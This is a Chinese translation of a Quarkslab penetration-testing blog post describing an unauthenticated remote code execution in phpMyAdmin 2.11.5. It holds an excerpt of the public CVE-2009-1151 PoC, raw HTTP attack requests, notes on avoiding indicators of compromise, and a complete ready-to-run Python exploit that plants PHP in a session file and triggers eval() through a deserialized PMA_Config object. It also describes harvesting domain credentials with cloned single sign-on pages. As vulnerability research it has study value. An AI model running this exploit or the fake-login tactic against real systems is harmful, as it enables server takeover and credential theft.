【翻译】Pwn everything Bounce everywhere all at once (part 1) - Quarkslab's blog
本文描述了在一次"假定已被入侵"的安全审计中,我们如何通过在被攻陷的服务器上安装虚假的单点登录页面来实施水坑攻击,从而成功入侵了客户网络上的多个 Web 应用程序。这是两部分系列文章的第一部分,解释了为什么仅仅检查 CVE 是不够的,以及为什么我们应该深入代码寻找旧代码库中的新漏洞。我们将以 phpMyAdmin 2.11.5 版本为例,因为这是我们在审计过程中遇到的版本。
背景
作为假定已被入侵审计的一部分(一种假定攻击者已经获得某些资产访问权限的攻击性安全评估),我们进入了客户的内部网络。大多数情况下,我们会两人一组执行这类任务。为了提高效率,我们通常让其中一位审计员负责攻击 Active Directory 服务,而另一位则通过其他可访问的服务获取访问权限、进行跳转和维持网络持久性。
内部网络中的许多 Web 服务都受到 Single Sign-On (SSO) 机制的保护,而其他无需认证就可访问的服务则采用其他方法。这就是为什么我们认为掌握无需认证就能执行 Remote Code Execution (RCE) 的技术和工具对攻击者来说很重要的主要原因。
在攻陷多个 Web 服务后,我们使用基本技术(ctrl+u
、ctrl+a
、ctrl+c
、ctrl+v
,就像我们还在 2006 年一样)部署了虚假的 SSO 登录页面,作为水坑攻击的一部分。我们的目标是获取有效的域凭据以供后续横向移动。
在这次审计中,我们通过无需认证的 Remote Code Execution 成功入侵了phpMyAdmin(GitHub)和SOPlanning(SourceForge)Web 应用程序。我们在每个应用程序中都发现了尚未公开的漏洞,我们非常乐意在这个系列博文中与大家分享。
第一篇文章将讨论在 phpMyAdmin 的旧版本中发现的漏洞。在旧软件中发现新漏洞可能听起来并不那么令人兴奋,但在现实世界中,这可能是你任务中最具影响力的行动。在第 2 部分中,我们将研究更现代的软件。
让我们深入研究每个渗透测试人员的老朋友。
phpMyAdmin v2.11.5,所有人都错过的内容
当所有人都往右看时,往左看。 - Coiffeur
phpMyAdmin 的 2.11.5 版本于 2008 年 3 月 1 日星期六发布,如官方网站所示。2009 年,一个无需认证即可利用的 Remote Code Execution 漏洞被公布,编号为CVE-2009-1151(PMASA-2009-3),这个 CVE 有一个公开可用的POC,目前可在Exploit Database平台上访问。然而,根据发现该漏洞的研究人员的报告,这个漏洞似乎只能在特定条件下利用。
在我们的安全审计过程中,我们遇到了这个过去软件时代的化石。这是一个看似已完全修补的极其古老的版本。你不会花时间试图利用它上面已修复的漏洞,对吧?
好吧,我们将看到更详细的代码分析如何让我们发现这个漏洞并未被完全探索,以及另一个此前未被发现的漏洞(可以称之为 0-day,但我们不会玩弄文字)如何让我们摆脱所有利用限制。
让我们基于公开 POC 开始分析。
CVE: CVE-2009-1151(PMASA-2009-3)作者:
-
Greg Ose发现了这个漏洞(博文) -
Adrian Pastor aka pagvac开发了概念验证来源:exploit-db.com
#!/bin/bash# CVE-2009-1151: phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE PoC v0.11# by pagvac (gnucitizen.org), 4th June 2009.# special thanks to Greg Ose (labs.neohapsis.com) for discovering such a cool vuln, # and to str0ke (milw0rm.com) for testing this PoC script and providing feedback!...# attack requirements:# 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5# and 3.x before 3.1.3.1 according to PMASA-2009-3# 2) it *seems* this vuln can only be exploited against environments# where the administrator has chosen to install phpMyAdmin following# the *wizard* method, rather than manual method: http://snipurl.com/jhjxx# 3) administrator must have NOT deleted the '/config/' directory# within the '/phpMyAdmin/' directory. this is because this directory is# where '/scripts/setup.php' tries to create 'config.inc.php' which is where# our evil PHP code is injected 8)# more info on:# http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php# http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/...function exploit {postdata="token=$1&action=save&configuration=""a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:23:%22host%27]=""%27%27%3b%20phpinfo%28%29%3b//%22%3bs:9:%22localhost%22%3bs:9:""%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:""%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:""%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"...}...# milw0rm.com [2009-06-09]
从上述概念验证中可以看出,攻击者的目的是通过序列化数据和save
操作来破坏配置文件 config/config.inc.php。这就是为什么作者认为如果 config/文件夹不存在就无法利用这个漏洞,因为这样就不可能破坏该文件。
如果你读过我们关于 PHP 序列化攻击的文章 (PHP deserialization attacks and a new gadget chain in Laravel),你就会知道这正是我们喜欢利用的漏洞类型。
深入代码分析
事实证明,在没有身份验证的情况下,可以访问到反序列化攻击者数据的 sink 点,即unserialize()
函数。更准确地说,在这种情况下我们可以调用unserialize($_POST['configuration'])
,如下所示:
文件:scripts/setup.php
<?php...chdir('..');require_once'./libraries/common.inc.php';...// Grab actionif (isset($_POST['action'])) { $action = $_POST['action'];} else { $action = '';}...if (isset($_POST['configuration']) && $action != 'clear') {// Grab previous configuration, if it should not be cleared $configuration = unserialize($_POST['configuration']);} else {// Start with empty configuration $configuration = array();}...?>
但是为了防止我们的 $_POST
参数在利用之前被应用程序清理掉 (参见文件 libraries/common.inc.php),我们必须首先获取一个 token,这个 token 可以通过 GET 方法请求页面后获得 (这有点像 CSRF token)。
文件:libraries/common.inc.php
<?php...if (! PMA_isValid($_REQUEST['token']) || $_SESSION[' PMA_token '] != $_REQUEST['token']) {/** * List of parameters which are allowed from unsafe source */ $allow_list = array('db', 'table', 'lang', 'server', 'convcharset', 'collation_connection', 'target',/* Session ID */'phpMyAdmin',/* Cookie preferences */'pma_lang', 'pma_charset', 'pma_collation_connection',/* Possible login form */'pma_servername', 'pma_username', 'pma_password', );/** * Require cleanup functions */require_once'./libraries/cleanup.lib.php';/** * Do actual cleanup */ PMA_remove_request_vars($allow_list);}...?>
因此,我们需要找出要反序列化的类,我们发现 PMA_Config
类是实现远程代码执行最理想的选择,因为它允许我们通过 eval()
函数执行 file_get_contents()
函数的输出结果,而这个输出结果可以通过序列化数据作为参数由攻击者控制。
文件:libraries/Config.class.php类:PMA_Config
函数:
-
__wakeup()
-
load()
-
loadDefaults()
-
checkConfigSource()
<?php...classPMA_Config{ .../** * @var string default config source */var $default_source = './libraries/config.default.php'; .../** * @var string config source */var $source = ''; ...function__wakeup(){if (! $this->checkConfigSource() || $this->source_mtime !== filemtime($this->getSource()) || $this->default_source_mtime !== filemtime($this->default_source) || $this->error_config_file || $this->error_config_default_file) {$this->settings = array();$this->load();$this->checkSystem(); } ... } ...functionload($source = null){$this->loadDefaults();if (null !== $source) {$this->setSource($source); }if (! $this->checkConfigSource()) {returnfalse; } $cfg = array();/** * Parses the configuration file */ $old_error_reporting = error_reporting(0);if (function_exists('file_get_contents')) { $eval_result =eval('?>' . trim(file_get_contents($this->getSource()))); } else { $eval_result =eval('?>' . trim(implode("n", file($this->getSource())))); } ... } ...functionloadDefaults(){ $cfg = array();if (! file_exists($this->default_source)) {$this->error_config_default_file = true;returnfalse; } ... } ...functioncheckConfigSource(){if (! $this->getSource()) {// no configuration file set at allreturnfalse; }if (! file_exists($this->getSource())) { ...$this->source_mtime = 0;returnfalse; }if (! is_readable($this->getSource())) {$this->source_mtime = 0;die('Existing configuration file (' . $this->getSource() . ') is not readable.'); }// Check for permissions (on platforms that support it): $perms = @fileperms($this->getSource());if (!($perms === false) && ($perms & 2)) {// This check is normally done after loading configuration$this->checkWebServerOs();if ($this->get('PMA_IS_WINDOWS') == 0) {$this->source_mtime = 0;die('Wrong permissions on configuration file, should not be world writable!'); } }returntrue; } ...}?>
考虑到最近发布的 PHP 漏洞利用技术(filter chains),你可能会认为我们应该能够在调用file_get_contents()
函数时利用 filter chains。然而,这是不可能的,因为对file_exists()
和is_readable()
的调用会返回bool(false)
。
在继续阅读代码时,我们发现了一个我们认为没有人知道的漏洞。我们意识到可以在不进行身份验证的情况下定义自己的 session 文件,控制其名称的一部分和内容的一部分。这是一个强大的原语,因为在使用可预测路径调用file_get_contents()
的情况下,我们可以读取位置可能已知的文件。此外,由于我们可以控制部分内容,当这个文件使用eval()
函数进行评估时,这是完美的。
文件:libraries/auth/signon.auth.lib.php函数:PMA_auth_check()
<?php...functionPMA_auth_check(){global $PHP_AUTH_USER, $PHP_AUTH_PW;/* Session name */ $session_name = $GLOBALS['cfg']['Server']['SignonSession'];/* Current host */ $single_signon_host = $GLOBALS['cfg']['Server']['host'];/* Are we requested to do logout? */ $do_logout = !empty($_REQUEST['old_usr']);/* Does session exist? */if (isset($_COOKIE[$session_name])) {/* End current session */ $old_session = session_name(); $old_id = session_id(); session_write_close();/* Load single signon session */ session_name($session_name); session_id($_COOKIE[$session_name]); session_start();/* Grab credentials if they exist */if (isset($_SESSION['PMA_single_signon_user'])) {if ($do_logout) { $PHP_AUTH_USER = ''; } else { $PHP_AUTH_USER = $_SESSION['PMA_single_signon_user']; } }if (isset($_SESSION['PMA_single_signon_password'])) {if ($do_logout) { $PHP_AUTH_PW = ''; } else { $PHP_AUTH_PW = $_SESSION['PMA_single_signon_password']; } }if (isset($_SESSION['PMA_single_signon_host'])) { $single_signon_host = $_SESSION['PMA_single_signon_host']; }/* Also get token as it is needed to access subpages */if (isset($_SESSION['PMA_single_signon_token'])) {/* No need to care about token on logout */ $pma_token = $_SESSION['PMA_single_signon_token']; }/* End single signon session */ session_write_close();/* Restart phpMyAdmin session */ session_name($old_session);if (!empty($old_id)) { session_id($old_id); } session_start();/* Set the single signon host */ $GLOBALS['cfg']['Server']['host']=$single_signon_host;/* Restore our token */if (!empty($pma_token)) { $_SESSION[' PMA_token '] = $pma_token; } }// Returns whether we get authentication settings or notif (empty($PHP_AUTH_USER)) {returnfalse; } else {returntrue; }} // end of the 'PMA_auth_check()' function...?>
文件:libraries/auth/signon.auth.lib.php
<?php...if (! PMA_isValid($_REQUEST['token']) || $_SESSION[' PMA_token '] != $_REQUEST['token']) {/** * List of parameters which are allowed from unsafe source */ $allow_list = array('db', 'table', 'lang', 'server', 'convcharset', 'collation_connection', 'target',/* Session ID */'phpMyAdmin',/* Cookie preferences */'pma_lang', 'pma_charset', 'pma_collation_connection',/* Possible login form */'pma_servername', 'pma_username', 'pma_password', );/** * Require cleanup functions */require_once'./libraries/cleanup.lib.php';/** * Do actual cleanup */ PMA_remove_request_vars($allow_list);}... ...if (! empty($cfg['Server'])) { .../** * the required auth type plugin */require_once'./libraries/auth/' . $cfg['Server']['auth_type'] . '.auth.lib.php';if (!PMA_auth_check()) { PMA_auth(); } else { PMA_auth_set_user(); } ... } // end server connecting ......?>
文件:scripts/signon.php
<?php.../* Was data posted? */if (isset($_POST['user'])) {/* Need to have cookie visible from parent directory */ session_set_cookie_params(0, '/', '', 0);/* Create signon session */ $session_name = 'SignonSession'; session_name($session_name); session_start();/* Store there credentials */ $_SESSION['PMA_single_signon_user'] = $_POST['user']; $_SESSION['PMA_single_signon_password'] = $_POST['password']; $_SESSION['PMA_single_signon_host'] = $_POST['host']; $id = session_id();/* Close that session */ session_write_close();/* Redirect to phpMyAdmin (should use absolute URL here!) */ header('Location: ../index.php');} else { ...}...?>
我们还得出结论,即使 session 文件默认不存储在 /tmp 目录下或者没有 sess_
后缀,我们仍然可以使用另一种技巧来实现 RCE。
对于执行脚本的运行进程来说,要能够读写 session 文件,必须有一个与该文件关联的文件描述符。此外,脚本的控制流是确定性的,因此在 N
次执行跟踪之间,fd 将始终具有相同的值(整数)。另外,通过使用 /proc 文件系统和 /proc/self/fd 路径,我们可以找到我们的 session 文件,而不用考虑它在磁盘上的位置。文件 /tmp/sess_IVOIRE 对应于当前执行脚本进程中的 /proc/self/fd/20。这个值是常量,并且是以确定性方式获得的。
需要注意的是,在最坏的情况下,可以通过暴力破解来获取与 session 文件关联的 fd。
利用流程
现在,让我们把到目前为止学到的所有知识整合起来,在没有认证的情况下入侵 web 应用程序。
1) 创建包含 PHP payload 的 session 文件:
POST /Projects/phpmyadmin/scripts/signon.php HTTP/1.1Host: 127.0.0.1Cookie: pmaCookieVer=4; phpMyAdmin=IVOIRE; SignonSession=IVOIRE;Content-Type: application/x-www-form-urlencodedContent-Length: 24user=<?php phpinfo(); ?>
2) 获取一个 token
来绕过过滤:
GET /Projects/phpmyadmin/scripts/setup.php HTTP/1.1Host: 127.0.0.1Cookie: pmaCookieVer=4; phpMyAdmin=IVOIRE; SignonSession=IVOIRE;
3) 通过文件描述符触发 unserialize 来执行 eval()
session 文件:
POST /Projects/phpmyadmin/scripts/setup.php?token=38de65c08f526e750f58ebd6ba6e2b68 HTTP/1.1Host: 127.0.0.1User-Agent: python-requests/2.32.3Accept-Encoding: gzip, deflate, brAccept: */*Connection: keep-aliveCookie: pmaCookieVer=4; phpMyAdmin=IVOIRE; SignonSession=IVOIRE;Content-Length: 139Content-Type: application/x-www-form-urlencodedaction=junk&configuration=O:10:"PMA_Config":2:{s:14:"default_source";s:4:"JUNK";s:6:"source";s:16:"/proc/self/fd/20";}
与网上可用的漏洞利用相比,我们的 payload 更加简洁,并且我们的策略提供了独特的优势,包括保留现有配置文件的非破坏性方法。
其他 IOCs
此外,在继续审计代码时,我们发现可以通过另一种方式到达 sink unserialize()
,因此我们可以使用其他 $_POST
参数来避免触发 IOCs。
请注意,这些 IOCs 可能也是已知的,并且有自己的 CVE ID。
文件:scripts/setup.php函数:grab_values()
<?php...chdir('..');require_once'./libraries/common.inc.php';...functiongrab_values($list){ $a = split(';', $list); $res = array();foreach ($a as $val) { $v = split(':', $val);if (!isset($v[1])) { $v[1] = ''; }switch($v[1]) { ...case'serialized':if (isset($_POST[$v[0]]) && strlen($_POST[$v[0]]) > 0) { $res[$v[0]] = unserialize($_POST[$v[0]]); }break; ... } }return $res;}...switch ($action) { ...case'feat_extensions_real':if (isset($_POST['submit_save'])) { $vals = grab_values('GD2Available'); $err = FALSE;if ($err) { show_extensions_form($vals); } else { $configuration = array_merge($configuration, $vals); message('notice', 'Configuration changed'); $show_info = TRUE; } } else { $show_info = TRUE; }break; ...}...?>
POC
在下面您可以找到我们的 POC,该 POC 使用 PHP 代码注入 session 文件并触发 PMA_Config
类的反序列化来执行它。
即使配置文件夹及其中可能存在的所有文件不存在,此 POC 也允许利用该漏洞。
文件:exploit.py
import requestsimport sys# Global variable to manage script verbosity.DEBUG = 0# Global variable used to manage to which proxy requests are sent to before being# forwarded to the target.PROXIES = [ {}, # No proxy {"http": "http://127.0.0.1:1348"} # Burp]# Path script to create a session file whose name and content is under our control.VULNERABLE_SESSION_FIXATION_PATH = "/scripts/signon.php"# Script path to reach a call to the unserialize() function.VULNERABLE_UNSERIALIZE_PATH = "/scripts/setup.php"# Name of the session file we create and whose content we control. By default,# session data are stored in the server's /tmp directory in files that are named# sess_ followed by a unique alphanumeric string (the session identifier).COOKIE_VALUE = "IVOIRE"MALICIOUS_COOKIES = {"pmaCookieVer": "4","SignonSession": COOKIE_VALUE,"phpMyAdmin": COOKIE_VALUE}# Session file path. We can use the path of the session file on the file system# (/tmp/sess_XX...XX) or the /proc/self/fd folder on Linux system as it is part# of the proc file system, which is a virtual file system. This specific directory# contains symbolic links representing the file descriptors opened by the running# process. Since the execution flow to reach our sink is predictable, so is the# fd to be used at the time of the exploit. Consequently, we use the fd associated#with the session file, allowing us to find the session file regardless of its# path within the file system. The brute force of the fd can be considered but# is actually useless as explained before.SESSION_PATHS = ["/proc/self/fd/20", # File descriptor related to the session file.f"/tmp/sess_{COOKIE_VALUE}"]# Delimiter to check that our rce has been correctly triggered.DELIMITER = "1337_DONE_1337"# PHP payload that will be executed when unserialize() is called. We always# include a call to the die() or exit() function so that the script exits# after our payload has been executed. We don't want the script to continue# executing and have side effects (file writing, file overide, etc.).PAYLOAD = f"<?php echo '{DELIMITER}';system('id');die('{DELIMITER}');exit(); ?>"# Global variable used to manage the session and therefore cookies.S = requests.session()# This function extracts the data between two delimiters.defextract(raw, start_delimiter, end_delimiter):# The first delimiter is searched for. start = raw.find(start_delimiter)if start == -1:if DEBUG > 1: print("[x] Error: function "extract()" failed (can't find starting delimiter).")returnNone start = start + len(start_delimiter)# The second delimiter is searched for. end = raw[start::].find(end_delimiter)if end == -1:if DEBUG > 1: print("[x] Error: function "extract()" failed (can't find end delimiter).")returnNone end += startreturn raw[start:end]if __name__ == "__main__":if len(sys.argv) != 2: print("[x] To use the exploit run the command:npython3 exploit.py <URL>") exit(-1)# The proxy to be used is managed according to verbosity.ifnot DEBUG: proxies = PROXIES[0]else: proxies = PROXIES[1]# We remove the trailing "/"" at the end of the URL to ensure there is no# "//"" at the end of the URL. target = sys.argv[1].rstrip("/")# First of all, we're going to exploit session fixation and the ability to# control part of the session file to write our payload to it (as if we were# doing log corruption). new_url = f"{target}{VULNERABLE_SESSION_FIXATION_PATH}"for key in MALICIOUS_COOKIES: cookie = requests.cookies.create_cookie(key, MALICIOUS_COOKIES[key]) S.cookies.set_cookie(cookie) datas = {"user": PAYLOAD } S.post(url=new_url, data=datas, proxies=proxies, verify=False)# Then we retrieve a token that we'll need to bypass phpMyAdmin checks which# prevent our POST variables from being cleaned during unserialiaze() exploit. new_url = f"{target}{VULNERABLE_UNSERIALIZE_PATH}" r = S.get(url=new_url, proxies=proxies, verify=False) token = extract(r.text, "name="token" value="", """)ifnot token: printf("[x] The exploit failed (it was impossible to retrieve the token).") exit(-1)if DEBUG: print(f"[+] Token: {token}")# In the last step, we exploit the unserialize() function to instantiate an# object of the PMA_Config class which call function __wakeup() and allows# us to reach a snippet of code equivalent to:# eval(file_get_contents(<A PATH WE CONTROL>)) new_url = f"{target}{VULNERABLE_UNSERIALIZE_PATH}?token={token}"for path in SESSION_PATHS: datas = {"action": "junk","configuration": 'O:10:"PMA_Config":2:{s:14:"default_source";s:4:"JUNK";s:6:"source";s:' + str(len(path)) + ':"' + path + '";}' } r = S.post(url=new_url, data=datas, proxies=proxies, verify=False)if r.text.find(DELIMITER) != -1: print("[+] The exploit succeeded.") output = extract(r.text, DELIMITER, DELIMITER) print(output) exit(0) print("[x] The exploit failed (impossible to retrieve delimiter).") exit(-1)
原文始发于微信公众号(securitainment):一次性入侵所有系统并在各处横向移动(第一部分)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论